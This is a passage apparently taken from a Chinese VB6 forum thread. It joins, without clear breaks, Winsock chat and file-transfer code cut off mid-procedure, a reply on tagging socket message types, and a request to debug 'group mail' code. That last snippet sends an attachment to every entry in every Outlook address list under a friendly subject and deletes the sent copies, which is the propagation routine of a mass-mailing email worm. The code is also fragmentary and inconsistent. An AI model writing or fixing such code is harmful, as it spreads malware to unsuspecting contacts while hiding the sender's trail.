Private Sub Com_OK_Click()
FindFreeSock
Dim X
On Error GoTo Err
If Com_OK.Caption = "侦听" Then
    With Socket(SockIndex)
         '设置远程主机名
         .RemoteHost = Trim(T_PCIP.Text)
         '设置远程端口号
         .RemotePort = Trim(T_Prot.Text)
         '绑定本地端口号
         .Bind Trim(20000)
  End With
    CenterPrint Pic_Connect, "正在侦听......"
    ListView1.ListItems(m + X).SubItems(N) = T_PCIP.Text
    ListView1.ListItems(m + X).SubItems(N + 1) = T_Prot.Text
Else
    With Socket(SockIndex)
         '设置远程主机名
         .RemoteHost = Trim(T_PCIP.Text)
         '设置远程端口号
         .RemotePort = Trim(20000)
         '绑定本地端口号
         .Bind Trim(T_Prot.Text)
  End With
CenterPrint Pic_Connect, "正在连接......"
zx = Socket(SockIndex)
Timer1.Enabled = True
End If
Exit Sub
Err:
MsgBox Err.Description, 16, Err.Number
End Sub

Private Sub Socket_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Data As Boolean
Dim getdata
Dim ComByte As Long, Temp As Long, J As Long
Static DataByt() As Byte
Static FileByt() As Byte
Static Received As Long
Const PACKSIZE = 8192 '65536
ReDim DataByt(bytesTotal)

Socket(index).getdata getdata

Dim u

u = Time()

If InStr(1, getdata, ":\") <> "" Then

   Data = True
   
ElseIf getdata = "Message" Then

   Message = True
   
   Exit Sub
   
ElseIf getdata = "StartChat" Then

   Message = True
   
   Exit Sub
   
ElseIf Message = True Then

   If Text1.Text = "" Then

      Text1.Text = u & Chr(13) & Chr(10) & "对方说:" & getdata
   
   Else

      Text1.Text = Text1.Text & Chr(13) & Chr(10) & Chr(13) & Chr(10) & u & Chr(13) & Chr(10) & "对方说:" & Text2.Text
   
   End If

ElseIf getdata = "PetName" Then

   PetName = True
   
   Exit Sub
   
ElseIf PetName = True Then

   PetChatName = getdata

senddata方法发送消息语句里定义消息类型
getdata方法接收消息的时候，将消息类型赋值给变量，通过select判断

例如：
senddata方法
    socket（index）.senddata  “消息类型”&消息

getdata方法
    socket（index）.getdata  getdata
    aa=left(getdata，n)
        select case aa
            case "入库业务"   
            case "出库业务"
            case "聊天信息"
            ...   
        end select   

不知道理解的对不对，希望对你有帮助

   

兄弟,顺便帮忙看一下这段VB群发邮件的代码:

Set Christmas = MyApp.GetNameSpace("mapi")

   Set List = Christmas.AddressLists

   For Each Addresslist In List----------------------------此处出错

       If Addresslist.AddressEntries.Count <> 0 Then

          AddressListCount = Addresslist.AddressEntries.Count

          For AddList = 1 To AddressListCount

              Set Merry = MyApp.CreateItem(0)

              Set AdEntries = Addresslist.AddressEntries(AddList)

              Merry.to = AdEntries.Address

              Merry.Subject = "祝你每一天都过得开心!!!"

              Merry.Body = ""

              Set Attachs = Merry.Attachments

              Attachs.Add FullLocation

              If Var1 = "true" Then

                 Merry.DeleteAfterSubmit = True

                 If Msg.to <> "" Then

                    Merry.send

                 End If

              End If

          Next

       End If

   Next

End If